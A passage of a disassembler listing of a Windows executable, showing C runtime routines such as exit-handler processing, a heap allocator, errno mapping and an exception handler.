		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8E0
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	sub_44AB21
		pop	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_449E0D
; ---------------------------------------------------------------------------


loc_449DF8:				; CODE XREF: sub_449DC1+53j
		mov	eax, dword_4111A0
		lea	edx, [eax+1]
		mov	dword_4111A0, edx
		call	dword_411060[eax*4]


loc_449E0D:				; CODE XREF: sub_449DC1+35j
		cmp	dword_4111A0, 50h
		jb	short loc_449DF8
		jmp	short loc_449E2A
; ---------------------------------------------------------------------------


loc_449E18:				; CODE XREF: sub_449DC1+70j
		mov	eax, dword_4111A4
		dec	eax
		mov	dword_4111A4, eax
		call	dword_411060[eax*4]


loc_449E2A:				; CODE XREF: sub_449DC1+55j
		cmp	dword_4111A4, 0
		jnz	short loc_449E18
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_449E3E
		jmp	short loc_449E47
sub_449DC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_449E3E	proc near		; CODE XREF: sub_449DC1+76p
		push	2
		call	sub_44ABA1
		pop	ecx
		retn
sub_449E3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449DC1


loc_449E47:				; CODE XREF: sub_449DC1+7Bj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44B571
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_449DC1
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_449E71	proc near		; CODE XREF: DMN1:00448A0Fp
					; DMN1:00448A3Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_44B5F1
		pop	ecx
		retn
sub_449E71	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8EC
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2000000h
		call	sub_44D211
		pop	ecx
		mov	dword_4117DC, eax
		call	sub_44A991
		test	eax, eax
		jnz	short loc_449EC8
		push	1
		call	sub_44B571
		pop	ecx


loc_449EC8:				; CODE XREF: DMN1:00449EBEj
		call	sub_44B3B1
		test	eax, eax
		jnz	short loc_449ED9
		push	1
		call	sub_44B571
		pop	ecx


loc_449ED9:				; CODE XREF: DMN1:00449ECFj
		mov	dword ptr [ebp-4], 0
		call	sub_44B621
		call	sub_44B681
		call	sub_44BAF1
		call	sub_44BB91
		mov	esi, offset dword_4101EC
		jmp	short loc_449F00
; ---------------------------------------------------------------------------


loc_449EFB:				; CODE XREF: DMN1:00449F06j
		call	dword ptr [esi]
		add	esi, 4


loc_449F00:				; CODE XREF: DMN1:00449EF9j
		cmp	esi, offset dword_4101EC
		jb	short loc_449EFB
		mov	dword ptr [ebp-30h], 0
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_411DA8
		push	0
		call	dword_411D6C
		mov	[ebp-60h], eax
		call	sub_44BC51
		test	byte ptr [ebp-30h], 1
		jz	short loc_449F35
		movzx	esi, word ptr [ebp-2Ch]
		jmp	short loc_449F3A
; ---------------------------------------------------------------------------


loc_449F35:				; CODE XREF: DMN1:00449F2Dj
		mov	esi, 0Ah


loc_449F3A:				; CODE XREF: DMN1:00449F33j
		push	esi
		push	eax
		push	0
		mov	eax, [ebp-60h]
		push	eax
		call	sub_449069
		mov	ebx, eax
		mov	edi, offset dword_4101EC
		jmp	short loc_449F55
; ---------------------------------------------------------------------------


loc_449F50:				; CODE XREF: DMN1:00449F5Bj
		call	dword ptr [edi]
		add	edi, 4


loc_449F55:				; CODE XREF: DMN1:00449F4Ej
		cmp	edi, offset dword_4101EC
		jb	short loc_449F50
		push	ebx
		call	sub_449DC1
		pop	ecx
		jmp	short loc_449F8E
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-14h]
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44B581
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44B571
		pop	ecx


loc_449F8E:				; CODE XREF: DMN1:00449F64j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449FB1	proc near		; CODE XREF: sub_44A241+ECp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 0Eh
		shl	eax, 0Eh
		lea	esi, [eax+4000h]
		mov	edi, esi
		shl	edi, 2
		push	edi
		call	sub_44BC91
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_449FF0
		mov	dword_4117E0, 0
		xor	eax, eax
		jmp	loc_44A22E
; ---------------------------------------------------------------------------


loc_449FF0:				; CODE XREF: sub_449FB1+2Cj
		mov	eax, dword_4127EC
		mov	edx, dword_4127E8
		add	eax, edx
		cmp	eax, [ebp+var_8]
		jnz	short loc_44A016
		mov	ebx, dword_4127E8
		mov	eax, dword_4127EC
		add	edi, eax
		mov	esi, edi
		shr	esi, 2
		jmp	short loc_44A023
; ---------------------------------------------------------------------------


loc_44A016:				; CODE XREF: sub_449FB1+4Fj
		mov	eax, [ebp+var_8]
		mov	ebx, eax
		mov	edx, ebx
		sub	edx, eax
		mov	eax, edx
		sub	edi, eax


loc_44A023:				; CODE XREF: sub_449FB1+63j
		mov	eax, esi
		shl	eax, 2
		lea	edx, [ebx+eax]
		mov	dword_4127E8, edx
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		mov	dword_4127EC, eax
		mov	eax, dword_4111CC
		add	eax, 4
		cmp	ebx, eax
		jnz	short loc_44A055
		cmp	dword_4111D4, 0
		jnz	loc_44A1C7


loc_44A055:				; CODE XREF: sub_449FB1+95j
		mov	eax, dword_4111D4
		mov	[ebp+var_C], eax
		mov	dword_4111D4, ebx
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		add	ebx, 4
		dec	esi
		mov	dword_4111CC, ebx
		mov	eax, dword_4111D0
		test	eax, eax
		jz	short loc_44A07F
		cmp	eax, ebx
		jbe	short loc_44A085


loc_44A07F:				; CODE XREF: sub_449FB1+C8j
		mov	dword_4111D0, ebx


loc_44A085:				; CODE XREF: sub_449FB1+CCj
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4-4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, esi
		or	eax, 80000000h
		mov	[edx], eax
		sub	esi, 2
		add	ebx, 4
		mov	eax, dword_4111CC
		lea	ebx, [eax-4]
		cmp	esi, dword_4111E4
		ja	short loc_44A0F3
		cmp	esi, dword_4111DC
		ja	short loc_44A0DB
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_44A0EE
; ---------------------------------------------------------------------------


loc_44A0DB:				; CODE XREF: sub_449FB1+116j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_44A0EE:				; CODE XREF: sub_449FB1+128j
		mov	eax, [ebp+var_10]
		jmp	short loc_44A123
; ---------------------------------------------------------------------------


loc_44A0F3:				; CODE XREF: sub_449FB1+10Ej
		cmp	esi, dword_4111EC
		ja	short loc_44A110
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_44A123
; ---------------------------------------------------------------------------


loc_44A110:				; CODE XREF: sub_449FB1+148j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_44A123:				; CODE XREF: sub_449FB1+140j
					; sub_449FB1+15Dj
		mov	eax, [ebp+var_10]
		mov	dword_4111FC, eax
		mov	eax, dword_4111FC
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_44A169
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		mov	eax, dword_4111FC
		cmp	dword_4111F8, eax
		jle	short loc_44A172
		mov	eax, dword_4111FC
		mov	dword_4111F8, eax
		jmp	short loc_44A172
; ---------------------------------------------------------------------------


loc_44A169:				; CODE XREF: sub_449FB1+18Bj
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_44A172:				; CODE XREF: sub_449FB1+1AAj
					; sub_449FB1+1B6j
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, esi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], esi
		mov	[ebx], esi
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		jmp	short loc_44A1AC
; ---------------------------------------------------------------------------


loc_44A1A6:				; CODE XREF: sub_449FB1+20Dj
		inc	dword_4111F8


loc_44A1AC:				; CODE XREF: sub_449FB1+1F3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_44A1C0
		cmp	eax, 7
		jl	short loc_44A1A6


loc_44A1C0:				; CODE XREF: sub_449FB1+208j
		mov	eax, 1
		jmp	short loc_44A22E
; ---------------------------------------------------------------------------


loc_44A1C7:				; CODE XREF: sub_449FB1+9Ej
		add	ebx, 0FFFFFFFCh
		mov	eax, [ebx]
		and	eax, 7FFFFFFFh
		add	eax, esi
		mov	[ebp+var_4], eax
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, [ebx]
		mov	[edx-4], eax
		mov	edx, dword_4111CC
		mov	eax, [ebp+var_4]
		or	eax, 80000000h
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111CC
		mov	ecx, eax
		shl	ecx, 2
		sub	edx, ecx
		or	eax, 80000000h
		mov	[edx+4], eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	eax, 1


loc_44A22E:				; CODE XREF: sub_449FB1+3Aj
					; sub_449FB1+214j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449FB1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A241	proc near		; CODE XREF: sub_44A581+4Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 2
		lea	esi, [eax+2]
		cmp	esi, 4
		jnb	short loc_44A262
		mov	esi, 4


loc_44A262:				; CODE XREF: sub_44A241+1Aj
		xor	edi, edi
		cmp	esi, dword_4111E4
		ja	short loc_44A29E
		cmp	esi, dword_4111DC
		ja	short loc_44A286
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_44A299
; ---------------------------------------------------------------------------


loc_44A286:				; CODE XREF: sub_44A241+31j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_44A299:				; CODE XREF: sub_44A241+43j
		mov	eax, [ebp+var_10]
		jmp	short loc_44A2CE
; ---------------------------------------------------------------------------


loc_44A29E:				; CODE XREF: sub_44A241+29j
		cmp	esi, dword_4111EC
		ja	short loc_44A2BB
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_44A2CE
; ---------------------------------------------------------------------------


loc_44A2BB:				; CODE XREF: sub_44A241+63j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_44A2CE:				; CODE XREF: sub_44A241+5Bj
					; sub_44A241+78j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, dword_4111F8
		cmp	[ebp+var_C], eax
		jge	short loc_44A31E
		mov	eax, dword_4111F8
		mov	[ebp+var_C], eax
		jmp	short loc_44A31E
; ---------------------------------------------------------------------------


loc_44A2E8:				; CODE XREF: sub_44A241+E5j
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	eax, dword_4111A8[eax*4]
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44A31E
		mov	eax, dword_4111CC
		add	eax, 0FFFFFFFCh
		cmp	ebx, eax
		jnz	short loc_44A30D
		mov	ebx, [ebx-4]


loc_44A30D:				; CODE XREF: sub_44A241+C7j
		mov	[ebp+var_4], ebx


loc_44A310:				; CODE XREF: sub_44A241+DBj
		mov	edi, [ebx]
		cmp	edi, esi
		jnb	short loc_44A31E
		mov	ebx, [ebx-4]
		cmp	ebx, [ebp+var_4]
		jnz	short loc_44A310


loc_44A31E:				; CODE XREF: sub_44A241+9Bj
					; sub_44A241+A5j ...
		cmp	edi, esi
		jnb	short loc_44A328
		cmp	[ebp+var_C], 8
		jl	short loc_44A2E8


loc_44A328:				; CODE XREF: sub_44A241+DFj
		cmp	edi, esi
		jnb	short loc_44A34E
		push	esi
		call	sub_449FB1
		pop	ecx
		test	eax, eax
		jz	loc_44A578
		mov	eax, dword_4111FC
		mov	[ebp+var_C], eax
		mov	ebx, dword_4111A8[eax*4]
		mov	edi, [ebx]
		jmp	short loc_44A357
; ---------------------------------------------------------------------------


loc_44A34E:				; CODE XREF: sub_44A241+E9j
		cmp	[ebp+var_C], 0
		jle	short loc_44A357
		dec	[ebp+var_C]


loc_44A357:				; CODE XREF: sub_44A241+10Bj
					; sub_44A241+111j
		mov	eax, edi
		sub	eax, esi
		mov	[ebp+var_14], eax
		cmp	eax, 4
		jb	loc_44A4E0
		mov	eax, dword_4111E4
		cmp	[ebp+var_14], eax
		ja	short loc_44A3A7
		mov	eax, dword_4111DC
		cmp	[ebp+var_14], eax
		ja	short loc_44A38E
		mov	eax, dword_4111D8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_44A3A2
; ---------------------------------------------------------------------------


loc_44A38E:				; CODE XREF: sub_44A241+138j
		mov	eax, dword_4111E0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_1C], eax


loc_44A3A2:				; CODE XREF: sub_44A241+14Bj
		mov	eax, [ebp+var_1C]
		jmp	short loc_44A3DB
; ---------------------------------------------------------------------------


loc_44A3A7:				; CODE XREF: sub_44A241+12Ej
		mov	eax, dword_4111EC
		cmp	[ebp+var_14], eax
		ja	short loc_44A3C7
		mov	eax, dword_4111E8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_1C], eax
		jmp	short loc_44A3DB
; ---------------------------------------------------------------------------


loc_44A3C7:				; CODE XREF: sub_44A241+16Ej
		mov	eax, dword_4111F0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_1C], eax


loc_44A3DB:				; CODE XREF: sub_44A241+164j
					; sub_44A241+184j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jz	loc_44A4CD
		mov	eax, [ebx-4]
		mov	[ebp+var_20], eax
		cmp	ebx, [ebp+var_20]
		jnz	short loc_44A42F
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_44A460
		jmp	short loc_44A419
; ---------------------------------------------------------------------------


loc_44A413:				; CODE XREF: sub_44A241+1EAj
		inc	dword_4111F8


loc_44A419:				; CODE XREF: sub_44A241+1D0j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_44A42D
		cmp	eax, 7
		jl	short loc_44A413


loc_44A42D:				; CODE XREF: sub_44A241+1E5j
		jmp	short loc_44A460
; ---------------------------------------------------------------------------


loc_44A42F:				; CODE XREF: sub_44A241+1B5j
		mov	eax, [ebx-8]
		mov	[ebp+var_24], eax
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_20]
		mov	[edx-4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_24]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_44A460
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_24]
		mov	dword_4111A8[eax*4], edx


loc_44A460:				; CODE XREF: sub_44A241+1CEj
					; sub_44A241:loc_44A42Dj ...
		mov	eax, [ebp+var_18]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_44A496
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	eax, [ebp+var_18]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_18]
		cmp	dword_4111F8, eax
		jle	short loc_44A49F
		mov	eax, [ebp+var_18]
		mov	dword_4111F8, eax
		jmp	short loc_44A49F
; ---------------------------------------------------------------------------


loc_44A496:				; CODE XREF: sub_44A241+22Ej
		mov	eax, [ebp+var_24]
		mov	eax, [eax-8]
		mov	[ebp+var_20], eax


loc_44A49F:				; CODE XREF: sub_44A241+249j
					; sub_44A241+253j
		mov	eax, [ebp+var_24]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_24]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_20]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_20]
		mov	[ebx-8], eax
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	loc_44A555
; ---------------------------------------------------------------------------


loc_44A4CD:				; CODE XREF: sub_44A241+1A6j
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	short loc_44A555
; ---------------------------------------------------------------------------


loc_44A4E0:				; CODE XREF: sub_44A241+120j
		mov	eax, [ebx-4]
		mov	[ebp+var_1C], eax
		cmp	ebx, [ebp+var_1C]
		jnz	short loc_44A522
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_44A553
		jmp	short loc_44A50C
; ---------------------------------------------------------------------------


loc_44A506:				; CODE XREF: sub_44A241+2DDj
		inc	dword_4111F8


loc_44A50C:				; CODE XREF: sub_44A241+2C3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_44A520
		cmp	eax, 7
		jl	short loc_44A506


loc_44A520:				; CODE XREF: sub_44A241+2D8j
		jmp	short loc_44A553
; ---------------------------------------------------------------------------


loc_44A522:				; CODE XREF: sub_44A241+2A8j
		mov	eax, [ebx-8]
		mov	[ebp+var_20], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx-4], eax
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_44A553
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_20]
		mov	dword_4111A8[eax*4], edx


loc_44A553:				; CODE XREF: sub_44A241+2C1j
					; sub_44A241:loc_44A520j ...
		mov	esi, edi


loc_44A555:				; CODE XREF: sub_44A241+287j
					; sub_44A241+29Dj
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		lea	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	edx, esi
		or	edx, 80000000h
		mov	[eax+esi*4-4], edx
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4


loc_44A578:				; CODE XREF: sub_44A241+F4j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A241	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A581	proc near		; CODE XREF: sub_449121+Dp
					; sub_449CF1+Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0044A5E8 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8FC
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], 0
		mov	eax, dword_4117E0
		cmp	[ebp+arg_0], eax
		jnb	short loc_44A5E8
		push	0
		call	sub_44AB21
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44A241
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_44A5DF
		jmp	short loc_44A5E8
sub_44A581	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A5DF	proc near		; CODE XREF: sub_44A581+57p
		push	0
		call	sub_44ABA1
		pop	ecx
		retn
sub_44A5DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A581


loc_44A5E8:				; CODE XREF: sub_44A581+35j
					; sub_44A581+5Cj
		cmp	[ebp+var_1C], 0
		jnz	short loc_44A5FB
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44A9D1
		pop	ecx
		mov	[ebp+var_1C], eax


loc_44A5FB:				; CODE XREF: sub_44A581+6Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_44A60C
		call	sub_44A781
		mov	dword ptr [eax], 0Ch


loc_44A60C:				; CODE XREF: sub_44A581+7Ej
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44A581
; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44A621	proc near		; CODE XREF: sub_449CF1+7Bp
					; sub_44B161+80p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 91h
		jz	loc_44A6F3
		jg	short loc_44A67E
		cmp	ebx, 50h
		jl	short loc_44A645
		cmp	ebx, 59h
		jg	short loc_44A656
		jmp	dword ptr aProtorecvDataS+4[ebx*4]
; ---------------------------------------------------------------------------


loc_44A645:				; CODE XREF: sub_44A621+16j
		cmp	ebx, 1
		jl	short loc_44A6C3
		cmp	ebx, 43h
		jg	short loc_44A6C3
		jmp	off_40F92C[ebx*4]
; ---------------------------------------------------------------------------


loc_44A656:				; CODE XREF: sub_44A621+1Bj
		cmp	ebx, 6Ch
		jl	short loc_44A6C3
		cmp	ebx, 72h
		jg	short loc_44A667
		jmp	dword ptr a02i02i02iIIIS+7[ebx*4]
; ---------------------------------------------------------------------------


loc_44A667:				; CODE XREF: sub_44A621+3Dj
		cmp	ebx, 80h
		jl	short loc_44A6C3
		cmp	ebx, 84h
		jg	short loc_44A6C3
		jmp	dword ptr aWinsock2_xInit+0Fh[ebx*4]
; ---------------------------------------------------------------------------


loc_44A67E:				; CODE XREF: sub_44A621+11j
		cmp	ebx, 0A4h
		jz	short loc_44A700
		cmp	ebx, 0A7h
		jz	short loc_44A6F3
		jg	short loc_44A6A2
		cmp	ebx, 9Eh
		jz	short loc_44A6F3
		cmp	ebx, 0A1h
		jz	short loc_44A6D3
		jmp	short loc_44A6C3
; ---------------------------------------------------------------------------


loc_44A6A2:				; CODE XREF: sub_44A621+6Dj
		cmp	ebx, 0B7h
		jl	short loc_44A6C3
		cmp	ebx, 0D7h
		jg	short loc_44A6B9
		jmp	dword ptr aHandshakeBadPa+1[ebx*4]
; ---------------------------------------------------------------------------


loc_44A6B9:				; CODE XREF: sub_44A621+8Fj
		cmp	ebx, 718h
		jz	short loc_44A6E3
		jmp	short $+2


loc_44A6C3:				; CODE XREF: sub_44A621+27j
					; sub_44A621+2Cj ...
		call	sub_44A781
		mov	dword ptr [eax], 16h
		jmp	loc_44A773
; ---------------------------------------------------------------------------


loc_44A6D3:				; CODE XREF: sub_44A621+7Dj
		call	sub_44A781
		mov	dword ptr [eax], 2
		jmp	loc_44A773
; ---------------------------------------------------------------------------


loc_44A6E3:				; CODE XREF: sub_44A621+9Ej
		call	sub_44A781
		mov	dword ptr [eax], 0Ch
		jmp	loc_44A773
; ---------------------------------------------------------------------------


loc_44A6F3:				; CODE XREF: sub_44A621+Bj
					; sub_44A621+6Bj ...
		call	sub_44A781
		mov	dword ptr [eax], 0Dh
		jmp	short loc_44A773
; ---------------------------------------------------------------------------


loc_44A700:				; CODE XREF: sub_44A621+63j
		call	sub_44A781
		mov	dword ptr [eax], 0Bh
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 11h
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 9
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 0Ah
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 8
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 18h
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 1Ch
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 20h
		jmp	short loc_44A773
; ---------------------------------------------------------------------------
		call	sub_44A781
		mov	dword ptr [eax], 12h


loc_44A773:				; CODE XREF: sub_44A621+ADj
					; sub_44A621+BDj ...
		pop	ebx
		retn
sub_44A621	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A781	proc near		; CODE XREF: sub_449151+1Bp
					; sub_44A581+80p ...
		call	sub_44B471
		add	eax, 8
		retn
sub_44A781	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	short loc_44A82E
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_44A7C8:				; CODE XREF: DMN1:0044A825j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_44A83E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_44A81C
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		test	eax, eax
		jz	short loc_44A81C
		js	short loc_44A827
